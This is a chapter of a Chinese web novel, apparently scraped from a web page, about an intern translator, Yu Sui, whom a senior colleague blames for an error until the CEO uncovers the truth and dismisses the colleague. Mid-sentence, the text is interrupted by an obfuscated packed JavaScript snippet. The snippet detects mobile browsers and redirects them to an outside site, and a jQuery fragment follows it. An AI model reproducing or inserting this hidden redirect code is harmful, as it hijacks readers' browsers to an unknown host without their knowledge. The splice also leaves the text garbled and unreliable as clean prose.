手、手感?
虞岁这才反应过来,自己的手掌贴到了什么位置。
纤细手臂绷紧用力,一把推开他,一颗心脏砰砰乱跳着。
脸颊烧得滚烫。
虞岁垂着眼,没有说话。
朝驭京敛眸看她缄口不语的样子,终于松了口:“下次见面还你。”
下次见面……
虞岁抬眸,轻声问道,“什么时候?”
“别那么心急,妹妹。”他轻挑眉梢,唇角勾起淡淡的弧度。
虞岁:“?”
这人又在说什么?!
“我亲爱的姐姐,你们说好了吗?”身后倏然传来江清玥甜甜的声音。
虞岁转过身去,就瞧见江清玥对她招手:“哥哥他们下来啦,我们回家吧。”
虞岁赶紧小跑过去。
江清玥还在探着脑袋,往虞岁身后看着,热情地跟朝驭京挥手打招呼。
朝驭京朝她微微颔首。
看这样子,他应该不会觉得她没素质了吧。江清玥笑得很开心,又挥着手说:“驭京哥哥,再……”
“见”字还没说出口,虞岁就拉着她一起,脚底抹油般地跑了。
-
昨天折腾到大半夜才到家,虞岁又没怎么休息好,早上差点没起得来。
卡着点来到公司,发现工位上多出一沓文件。
小叶来得比她早,知道情况,不等虞岁问,滑着椅子一下就来到了她的旁边:“十分钟前,孙大翻译给你的。”
“原来如此。”虞岁坐在椅子上,低头认真翻看着,是前几天那个海滨楼盘项目的补充协议。
“可我早上亲耳听到经理说,这个文件很重要,要她务必严肃认真对待。”小叶压低声音说,“意思是要她自己亲自来的。”
说曹操曹操就到。
孙芷看到虞岁在翻阅文件,踩着高跟鞋悠悠走了过来。
“小虞,这个补充协议对你来说应该不难吧?今天可以翻译好吗?”
“应该可以。”虞岁笑笑,礼貌说,“但是这么重要的文件交给我,可以吗?”
“当然可以!”孙芷说,“我之前看过你翻译的文件,质量很高。由你来,我很放心。”
“那行。”虞岁点点头。
她知道孙芷是想躲个懒,可这事对她来说也不算坏事。一来是她需要积累实战经验,二来是为家里的公司做事,她自然是愿意。
“最迟不能超过明天晚上。”孙芷拍了拍虞岁的肩膀,笑眯眯地说,“我这是在给你机会多历练,你能理解吧?”
“年轻人就是要多做事。”
小叶在孙芷身后悄悄翻了个白眼。这女人真能耐的,把欺负新人说得那么好听!
临走之前,孙芷又以长者的姿态提醒虞岁一句:“以后来早一点,千万别像今天这样了。你现在这个年纪,正是精力充沛的好时候,少睡点觉脑子还清醒一点,卡点来上班可不是一个好习惯。”
虞岁没回她,专注于工作。
补充协议内容有些复杂,但好在页数少。下午下班前一个小时,虞岁已经翻译好了。
正仔细检查核对,孙芷跑了过来,问她:“弄好了吗?”
“孙姐。”虞岁喊了她一声,温吞说,“初译好了,还剩两页没有核对,明天可以完全弄好。”
虞岁翻译完有重复检查的习惯,是她从小考试留下的习惯,纵使自己第一遍已经很小心了,后面还是要再专门检查好几遍才放心。
而且昨晚没睡好,脑子有些发昏。这种情况下容易犯迷糊,更得小心仔细点。
“剩下来的我来负责就好了,你现在就把文件发给我。”孙芷说。
“行。”
既然对方愿意负责剩下来的工作,虞岁也就照做。
等孙芷走后,小叶又没忍住打抱不平:“你这就发给她了?辛辛苦苦做的,功劳全是她的了。”
虞岁开玩笑说:“谁让我是实习生呢?最底层的牛马。”
“……行吧,你的脾气真的太好了。咱部门之前那个翻译就是实在看不惯她才辞职的。”
小叶顿了顿,义愤填膺地继续说,“转正后,你最好还是别这么惯着她了,她会得寸进尺的。想当年我初入职场的时候,她就老对我呼来喝去的,后来有一次她让我帮她买咖啡,我直接怼回去,她才没继续得寸进尺使唤我呢。”
“好好,转正后绝对不惯着她了。”虞岁笑笑,顺着她的话说。
“这才对!”小叶满意点头。
孙芷回到工位,从头到尾快速过了一遍翻译好的电子补充协议,并没有发现什么问题,于是开始打印。
文件打印的间隙,她精心补了个妆。
打字机嗡嗡的声音停止。
孙芷容光焕发,拿起文件出了部门。
临近下班之际,虞岁看向孙芷的工位。
她还没有回来。
反而看到江叙白身边的吴秘书,难得来到国际业务部门一趟,说江总有事找她。
虞岁不知道发生了什么,但还是乖巧跟在他的身后,来到总裁办公室。
一进门,就看到江叙白眸色森然,一脸愠色地坐在椅子上。
孙芷则是规规矩矩地站着,头低得像鸵鸟。
听到推门的声音,孙芷终于抬起头,视线落到虞岁的身上,急急忙忙说:“小虞,你翻译的补充协议出错了!”
虞岁稍怔,站到孙芷的旁边,有些不明所以地问道:“请问哪里错了?”
“建筑面积!有个地方小数点打成逗号了!”孙芷语气不是很好。
虞岁秀眉轻蹙,又问:“在哪一页?”
孙芷没有回答她的问题,开始谆谆教导:“我平时都是怎么教你的?咱们做翻译的,一定要够细心。我没有想到,你竟然会犯这么低级的错误。”
又含情脉脉看着江叙白说:“还好江总慧眼如炬,及时发现了。不然你的罪过可就大了。都不知道给公司造成什么样的损失啊!”
到这里,虞岁总算明白了情况。
这女人是在把所有责任都推给她。
江叙白看到虞岁蹙眉沉默的样子,愠怒的面色稍稍缓和,声音也放轻:“这份补充协议是你翻译的吗?”
“是的。”虞岁温吞点头,轻声问他,“请问江总,是哪一页出错了?”
“第七页。”江叙白耐心回答。
虞岁偏头看向孙芷,平静说:“孙姐,这份文件我交给你的时候,就说了是初译好了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903337|176730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还剩两页没有核对吧?我也说了,明天才可以完全弄好吧?”
“第七页我都没有检查核对过,是你自己把文件要走了,又立刻上交了。”
孙芷瞪大眼睛看她,完全没有想到对方一向温顺听话,此刻却在冷着脸质问反驳她。
要不是江叙白在场,她真恨不得直接发飙。孙芷面色难看,辩解道:“不管怎么样,这份协议从头到尾都是你翻译的啊。”
又一副好心安慰的样子:“小虞,你年纪轻,刚入职场,犯错也在情理之中。吃一堑长一智,以后多注意别再犯了就行。”
“可这份补充协议原本不是经理交给你做的吗?”虞岁并不领她的安慰之情,语气平静地问她。
孙芷被这样的虞岁给呛到无语。
这个小实习生怎么敢这么跟她说话?
给台阶还不下?
怎么敢的?!
到这里,江叙白也总算明白了情况。方才孙芷的一面之词将所有的过错都推到了虞岁的身上。这让他有些头疼该怎么处理。毕竟是工作上的失误,不可能完全的偏袒。
可虞岁现在既然这样说,那就完全怪不到她的身上。
自己的妹妹是什么性格,他还是知道的,又温顺又老实。若是她自己真犯了什么错,肯定不会推卸责任。
但为了防止异议,江叙白还是让吴秘书叫来了国际业务部门的张经理,询问具体情况。
孙芷和张经理共事的时间更久,眼巴巴看着他,希望他能站在她这边,把她身上的责任撇干净。
却没有想到,张经理竟然实话实说,完全坐实了她的罪名:“这份补充协议我是亲自交给孙芷的,还特意叮嘱她要严肃对待。我没有想到,她会把这么重要的协议交给一个新来的小实习生。”
虞岁感激地看了他一眼。
张经理也冲她和蔼笑了笑。
孙芷脸色顿时难看的像猪肝。
江叙白弄清楚情况,看着孙芷的眼神更加冷淡犀利:“欺压新人,推卸职责,过错甩锅。孙大翻译,你真是好样的!”
孙芷吓得一个激灵,从来没看过江总这么生气地训斥她。
“爱干干,不干滚!江氏不缺你这样的人才!”
孙芷语气一下子就软了起来:“江总,我错了,我真的错了。我没有欺压新人,我是想着多给新人机会,想让新人多历练历练,我真的是出于好心啊!”
“好心?”江叙白冷笑一声,心里跟明镜似的,“你刚刚推卸责任的时候可不像是好心!”
“我是看小虞之前任务完成的都很出色,我想着这次交给她应该也没问题,我是真心欣赏她的能力的。我真的没有想到,她会出这样的错。我……”
“你到现在还觉得是她的错?”江叙白厉声打断。
“不是…不是…是我的错……都是我的错……”孙芷的声音开始发颤。
“你离开江氏吧。该给的工资,我一分不少你的。”江叙白淡淡说。
“不要啊…江总…我不想离开江氏……”
孙芷急了,眼眶沁着眼泪,颤声说:“江总,你就看在我为江氏兢兢业业工作六年的份上,饶过我这一次吧。我以后再也不会犯这样低级的错误了!我真的,不会再犯了!”